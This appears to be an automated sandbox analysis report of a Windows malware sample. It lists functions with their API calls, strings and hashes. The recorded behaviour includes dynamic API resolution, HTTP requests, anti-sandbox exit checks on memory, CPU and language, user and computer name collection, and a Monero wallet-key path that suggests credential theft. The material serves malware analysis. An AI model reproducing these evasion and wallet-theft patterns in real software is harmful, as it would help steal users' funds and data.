GetProcAddress.KERNEL32(75290000,00C75810), ref: 00FCA0DA
GetProcAddress.KERNEL32(75290000,00C8CE10), ref: 00FCA0F2
GetProcAddress.KERNEL32(75290000,00C89068), ref: 00FCA10A
GetProcAddress.KERNEL32(75290000,00C8CE58), ref: 00FCA123
GetProcAddress.KERNEL32(75290000,00C757F0), ref: 00FCA13B
GetProcAddress.KERNEL32(6FDD0000,00C7B798), ref: 00FCA160
GetProcAddress.KERNEL32(6FDD0000,00C75870), ref: 00FCA179
GetProcAddress.KERNEL32(6FDD0000,00C7B608), ref: 00FCA191
GetProcAddress.KERNEL32(6FDD0000,00C8D038), ref: 00FCA1A9
GetProcAddress.KERNEL32(6FDD0000,00C8D0C8), ref: 00FCA1C2
GetProcAddress.KERNEL32(6FDD0000,00C75910), ref: 00FCA1DA
GetProcAddress.KERNEL32(6FDD0000,00C759B0), ref: 00FCA1F2
GetProcAddress.KERNEL32(6FDD0000,00C8CF00), ref: 00FCA20B
GetProcAddress.KERNEL32(752C0000,00C75A10), ref: 00FCA22C
GetProcAddress.KERNEL32(752C0000,00C75990), ref: 00FCA244
GetProcAddress.KERNEL32(752C0000,00C8CFA8), ref: 00FCA25D
GetProcAddress.KERNEL32(752C0000,00C8D098), ref: 00FCA275
GetProcAddress.KERNEL32(752C0000,00C75710), ref: 00FCA28D
GetProcAddress.KERNEL32(74EC0000,00C7B680), ref: 00FCA2B3
GetProcAddress.KERNEL32(74EC0000,00C7B6D0), ref: 00FCA2CB
GetProcAddress.KERNEL32(74EC0000,00C8CEB8), ref: 00FCA2E3
GetProcAddress.KERNEL32(74EC0000,00C756D0), ref: 00FCA2FC
GetProcAddress.KERNEL32(74EC0000,00C759D0), ref: 00FCA314
GetProcAddress.KERNEL32(74EC0000,00C7B7C0), ref: 00FCA32C
GetProcAddress.KERNEL32(75BD0000,00C8D0E0), ref: 00FCA352
GetProcAddress.KERNEL32(75BD0000,00C75930), ref: 00FCA36A
GetProcAddress.KERNEL32(75BD0000,00C89098), ref: 00FCA382
GetProcAddress.KERNEL32(75BD0000,00C8D020), ref: 00FCA39B
GetProcAddress.KERNEL32(75BD0000,00C8CED0), ref: 00FCA3B3
GetProcAddress.KERNEL32(75BD0000,00C75730), ref: 00FCA3CB
GetProcAddress.KERNEL32(75BD0000,00C75950), ref: 00FCA3E4
GetProcAddress.KERNEL32(75BD0000,00C8CE70), ref: 00FCA3FC
GetProcAddress.KERNEL32(75BD0000,00C8CFF0), ref: 00FCA414
GetProcAddress.KERNEL32(75A70000,00C758D0), ref: 00FCA436
GetProcAddress.KERNEL32(75A70000,00C8CF30), ref: 00FCA44E
GetProcAddress.KERNEL32(75A70000,00C8D008), ref: 00FCA466
GetProcAddress.KERNEL32(75A70000,00C8D050), ref: 00FCA47F
GetProcAddress.KERNEL32(75A70000,00C8CEA0), ref: 00FCA497
GetProcAddress.KERNEL32(75450000,00C759F0), ref: 00FCA4B8
GetProcAddress.KERNEL32(75450000,00C75A30), ref: 00FCA4D1
GetProcAddress.KERNEL32(75DA0000,00C758F0), ref: 00FCA4F2
GetProcAddress.KERNEL32(75DA0000,00C8D068), ref: 00FCA50A
GetProcAddress.KERNEL32(6F070000,00C75A50), ref: 00FCA530
GetProcAddress.KERNEL32(6F070000,00C75890), ref: 00FCA548
GetProcAddress.KERNEL32(6F070000,00C75A70), ref: 00FCA560
GetProcAddress.KERNEL32(6F070000,00C8D080), ref: 00FCA579
GetProcAddress.KERNEL32(6F070000,00C75A90), ref: 00FCA591
GetProcAddress.KERNEL32(6F070000,00C75830), ref: 00FCA5A9
GetProcAddress.KERNEL32(6F070000,00C75750), ref: 00FCA5C2
GetProcAddress.KERNEL32(6F070000,00C756B0), ref: 00FCA5DA
GetProcAddress.KERNEL32(6F070000,InternetSetOptionA), ref: 00FCA5F1
GetProcAddress.KERNEL32(6F070000,HttpQueryInfoA), ref: 00FCA607
GetProcAddress.KERNEL32(75AF0000,00C8D308), ref: 00FCA629
GetProcAddress.KERNEL32(75AF0000,00C89078), ref: 00FCA641
GetProcAddress.KERNEL32(75AF0000,00C8D170), ref: 00FCA659
GetProcAddress.KERNEL32(75AF0000,00C8D188), ref: 00FCA672
GetProcAddress.KERNEL32(75D90000,00C756F0), ref: 00FCA693
GetProcAddress.KERNEL32(6E330000,00C8D3E0), ref: 00FCA6B4
GetProcAddress.KERNEL32(6E330000,00C75770), ref: 00FCA6CD
GetProcAddress.KERNEL32(6E330000,00C8D2F0), ref: 00FCA6E5
GetProcAddress.KERNEL32(6E330000,00C8D0F8), ref: 00FCA6FD

Strings

InternetSetOptionA, xrefs: 00FCA5E5
HttpQueryInfoA, xrefs: 00FCA5FC

Memory Dump Source

Source File: 00000000.00000002.1714191818.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1714174137.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001398000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000146E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001499000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714621077.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714730643.0000000001643000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714747116.0000000001644000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA
API String ID: 2238633743-1775429166
Opcode ID: d2642b652b4baf44aad9eab66d6ad995b910738784057efdb7c84a050902d041
Instruction ID: 374c07b6b46ec172802d9d7f9983b42979c41e2758c9cda8f62d052575212c01
Opcode Fuzzy Hash: d2642b652b4baf44aad9eab66d6ad995b910738784057efdb7c84a050902d041
Instruction Fuzzy Hash: 52621AB5500A01AFC36CDBA9F598D5637F9EF8C242714863EA62EC324CD67EA4C1DB50

Function 00FB6280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00FCA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00FCA7E6

Part of subcall function 00FB47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00FB4839
Part of subcall function 00FB47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00FB4849

Part of subcall function 00FCA740: lstrcpy.KERNEL32(00FD0E17,00000000), ref: 00FCA788

InternetOpenA.WININET(00FD0DFE,00000001,00000000,00000000,00000000), ref: 00FB62E1
StrCmpCA.SHLWAPI(?,00C8EAA8), ref: 00FB6303
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00FB6335
HttpOpenRequestA.WININET(00000000,GET,?,00C8E368,00000000,00000000,00400100,00000000), ref: 00FB6385
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00FB63BF
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00FB63D1
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 00FB63FD
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00FB646D
InternetCloseHandle.WININET(00000000), ref: 00FB64EF
InternetCloseHandle.WININET(00000000), ref: 00FB64F9
InternetCloseHandle.WININET(00000000), ref: 00FB6503

Strings

GET, xrefs: 00FB637C
ERROR, xrefs: 00FB6407
ERROR, xrefs: 00FB64C9

Memory Dump Source

Source File: 00000000.00000002.1714191818.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1714174137.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001398000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000146E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001499000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714621077.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714730643.0000000001643000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714747116.0000000001644000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3749127164-2509457195
Opcode ID: 5fa7e091fc63e480b30b2cb6c74d33468b877813fcd4f175647735efb88bbe32
Instruction ID: 910dbc133d20dedb80586d88d6c6fb1adb3fb88b228db10e67c409018384e9a2
Opcode Fuzzy Hash: 5fa7e091fc63e480b30b2cb6c74d33468b877813fcd4f175647735efb88bbe32
Instruction Fuzzy Hash: A1713C71A00218EBDB24DBA0DC49FEE7778BF44704F1081A9F10AAB1C4DBB96A85DF51

Function 00FC5510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00FCA820: lstrlen.KERNEL32(00FB4F05,?,?,00FB4F05,00FD0DDE), ref: 00FCA82B
Part of subcall function 00FCA820: lstrcpy.KERNEL32(00FD0DDE,00000000), ref: 00FCA885

Part of subcall function 00FCA740: lstrcpy.KERNEL32(00FD0E17,00000000), ref: 00FCA788

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00FC5644
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00FC56A1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00FC5857

Part of subcall function 00FCA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00FCA7E6

Part of subcall function 00FC51F0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00FC5228

Part of subcall function 00FCA8A0: lstrcpy.KERNEL32(?,00FD0E17), ref: 00FCA905

Part of subcall function 00FC52C0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00FC5318
Part of subcall function 00FC52C0: lstrlen.KERNEL32(00000000), ref: 00FC532F
Part of subcall function 00FC52C0: StrStrA.SHLWAPI(00000000,00000000), ref: 00FC5364
Part of subcall function 00FC52C0: lstrlen.KERNEL32(00000000), ref: 00FC5383
Part of subcall function 00FC52C0: lstrlen.KERNEL32(00000000), ref: 00FC53AE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00FC578B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00FC5940
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00FC5A0C
Sleep.KERNEL32(0000EA60), ref: 00FC5A1B

Strings

ERROR, xrefs: 00FC577D
ERROR, xrefs: 00FC5693
ERROR, xrefs: 00FC5636
ERROR, xrefs: 00FC5849
ERROR, xrefs: 00FC5932
ERROR, xrefs: 00FC59FE

Memory Dump Source

Source File: 00000000.00000002.1714191818.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1714174137.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001398000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000146E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001499000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714621077.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714730643.0000000001643000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714747116.0000000001644000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleep
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 507064821-2791005934
Opcode ID: 87c8293d430d93d12cda99f0dcf9cd6edf976be8d4e4790d9a45ef6d2894e754
Instruction ID: 784de1447d2df7fed72fe1cd410ff1acad1d06a224a891ccbd3827cf0b66bc58
Opcode Fuzzy Hash: 87c8293d430d93d12cda99f0dcf9cd6edf976be8d4e4790d9a45ef6d2894e754
Instruction Fuzzy Hash: 1AE13E729101099BCB18FBA0EE57FED7338AF54704F44812CA416571D5EF38BA49EBA2

Function 00FC17A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpCA.SHLWAPI(00000000,block), ref: 00FC17C5
ExitProcess.KERNEL32 ref: 00FC17D1

Strings

block, xrefs: 00FC17B7

Memory Dump Source

Source File: 00000000.00000002.1714191818.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1714174137.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001398000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000146E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001499000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714621077.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714730643.0000000001643000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714747116.0000000001644000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID: block
API String ID: 621844428-2199623458
Opcode ID: 99016862f2f99a61ba473ccf8b268f680097bb38514bfc8a9f48f3f50006eef0
Instruction ID: 8ae2bc941910d0dcd0fa0b1f461809dd5693b03c33fe0b8bf2265d7efcad80e7
Opcode Fuzzy Hash: 99016862f2f99a61ba473ccf8b268f680097bb38514bfc8a9f48f3f50006eef0
Instruction Fuzzy Hash: 6E51ADB5A0020AEBCB04DFA0DA56FBE37B6BF45704F10404DE40AA7341DB74E961EB62

Function 00FC7500 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00FC7542
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00FC757F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 00FC7603
RtlAllocateHeap.NTDLL(00000000), ref: 00FC760A
wsprintfA.USER32 ref: 00FC7640

Part of subcall function 00FCA740: lstrcpy.KERNEL32(00FD0E17,00000000), ref: 00FCA788

Strings

\, xrefs: 00FC7560
:, xrefs: 00FC755C
C, xrefs: 00FC754C

Memory Dump Source

Source File: 00000000.00000002.1714191818.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1714174137.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001398000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000146E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001499000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714621077.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714730643.0000000001643000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714747116.0000000001644000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\
API String ID: 1544550907-3809124531
Opcode ID: 186c4fd966f13d28e794d9c394a3db1100a680088ad5755af89cba24358b1045
Instruction ID: 2712be0a69d85e1007cea3d592c4c9894c0f4f8c950142022b12f07c1e62627c
Opcode Fuzzy Hash: 186c4fd966f13d28e794d9c394a3db1100a680088ad5755af89cba24358b1045
Instruction Fuzzy Hash: 4A418FB1D04349ABDB10DB94DD46FEEBBB8AF48714F10019CF50967280DB78AA84DFA5

Function 00FC69F0 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00FC9860: GetProcAddress.KERNEL32(74DD0000,00C82320), ref: 00FC98A1
Part of subcall function 00FC9860: GetProcAddress.KERNEL32(74DD0000,00C823E0), ref: 00FC98BA
Part of subcall function 00FC9860: GetProcAddress.KERNEL32(74DD0000,00C82440), ref: 00FC98D2
Part of subcall function 00FC9860: GetProcAddress.KERNEL32(74DD0000,00C82218), ref: 00FC98EA
Part of subcall function 00FC9860: GetProcAddress.KERNEL32(74DD0000,00C82350), ref: 00FC9903
Part of subcall function 00FC9860: GetProcAddress.KERNEL32(74DD0000,00C88FD8), ref: 00FC991B
Part of subcall function 00FC9860: GetProcAddress.KERNEL32(74DD0000,00C75DF0), ref: 00FC9933
Part of subcall function 00FC9860: GetProcAddress.KERNEL32(74DD0000,00C75AF0), ref: 00FC994C
Part of subcall function 00FC9860: GetProcAddress.KERNEL32(74DD0000,00C823B0), ref: 00FC9964
Part of subcall function 00FC9860: GetProcAddress.KERNEL32(74DD0000,00C824E8), ref: 00FC997C
Part of subcall function 00FC9860: GetProcAddress.KERNEL32(74DD0000,00C82500), ref: 00FC9995
Part of subcall function 00FC9860: GetProcAddress.KERNEL32(74DD0000,00C823F8), ref: 00FC99AD
Part of subcall function 00FC9860: GetProcAddress.KERNEL32(74DD0000,00C75AD0), ref: 00FC99C5
Part of subcall function 00FC9860: GetProcAddress.KERNEL32(74DD0000,00C824B8), ref: 00FC99DE

Part of subcall function 00FCA740: lstrcpy.KERNEL32(00FD0E17,00000000), ref: 00FCA788

Part of subcall function 00FB11D0: ExitProcess.KERNEL32 ref: 00FB1211

Part of subcall function 00FB1160: GetSystemInfo.KERNEL32(?), ref: 00FB116A
Part of subcall function 00FB1160: ExitProcess.KERNEL32 ref: 00FB117E

Part of subcall function 00FB1110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 00FB112B
Part of subcall function 00FB1110: VirtualAllocExNuma.KERNEL32(00000000), ref: 00FB1132
Part of subcall function 00FB1110: ExitProcess.KERNEL32 ref: 00FB1143

Part of subcall function 00FB1220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 00FB123E
Part of subcall function 00FB1220: __aulldiv.LIBCMT ref: 00FB1258
Part of subcall function 00FB1220: __aulldiv.LIBCMT ref: 00FB1266
Part of subcall function 00FB1220: ExitProcess.KERNEL32 ref: 00FB1294

Part of subcall function 00FC6770: GetUserDefaultLangID.KERNEL32 ref: 00FC6774

Part of subcall function 00FB1190: ExitProcess.KERNEL32 ref: 00FB11C6

Part of subcall function 00FC7850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00FB11B7), ref: 00FC7880
Part of subcall function 00FC7850: RtlAllocateHeap.NTDLL(00000000), ref: 00FC7887
Part of subcall function 00FC7850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00FC789F

Part of subcall function 00FC78E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00FC7910
Part of subcall function 00FC78E0: RtlAllocateHeap.NTDLL(00000000), ref: 00FC7917
Part of subcall function 00FC78E0: GetComputerNameA.KERNEL32(?,00000104), ref: 00FC792F

Part of subcall function 00FCA9B0: lstrlen.KERNEL32(?,00C89158,?,\Monero\wallet.keys,00FD0E17), ref: 00FCA9C5
Part of subcall function 00FCA9B0: lstrcpy.KERNEL32(00000000), ref: 00FCAA04
Part of subcall function 00FCA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00FCAA12

Part of subcall function 00FCA8A0: lstrcpy.KERNEL32(?,00FD0E17), ref: 00FCA905

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,00C89008,?,00FD110C,?,00000000,?,00FD1110,?,00000000,00FD0AEF), ref: 00FC6ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00FC6AE8
CloseHandle.KERNEL32(00000000), ref: 00FC6AF9
Sleep.KERNEL32(00001770), ref: 00FC6B04
CloseHandle.KERNEL32(?,00000000,?,00C89008,?,00FD110C,?,00000000,?,00FD1110,?,00000000,00FD0AEF), ref: 00FC6B1A
ExitProcess.KERNEL32 ref: 00FC6B22

Memory Dump Source

Source File: 00000000.00000002.1714191818.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1714174137.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001398000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000146E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001499000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714621077.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714730643.0000000001643000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714747116.0000000001644000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$lstrcpy$AllocateCloseEventHandleNameUser__aulldiv$AllocComputerCreateCurrentDefaultGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 2525456742-0
Opcode ID: 8f4e06549d4691621c896dfa246ecd627770b39dedce45e44480e27fc5f12819
Instruction ID: b35c8548161423df7e642f36d339c121d77aba8d82cd1ddf829594c1ae7bec43
Opcode Fuzzy Hash: 8f4e06549d4691621c896dfa246ecd627770b39dedce45e44480e27fc5f12819
Instruction Fuzzy Hash: 53310B7190420EAADB18F7A0ED57FEE7778AF44304F50452CF212A21C1DF786945EBA6

Function 00FB1220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 00FB123E
__aulldiv.LIBCMT ref: 00FB1258
__aulldiv.LIBCMT ref: 00FB1266
ExitProcess.KERNEL32 ref: 00FB1294

Strings

@, xrefs: 00FB1233

Memory Dump Source

Source File: 00000000.00000002.1714191818.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1714174137.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001398000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000146E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001499000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714621077.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714730643.0000000001643000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714747116.0000000001644000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: 3e253fbad67b38f9cdcf73424743f2889f635da81a3b6474b01da4633d313ec3
Instruction ID: 2e3791b1631e9d52ccfa9ff31ae6c7bd0cb1f0acc773e526b095fd47577329d9
Opcode Fuzzy Hash: 3e253fbad67b38f9cdcf73424743f2889f635da81a3b6474b01da4633d313ec3
Instruction Fuzzy Hash: 74014BB0D40308AAEB10DBE1DC4ABAEBB78BF04701F608068E605B6280D67866459B99

Function 00FC6AF3 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

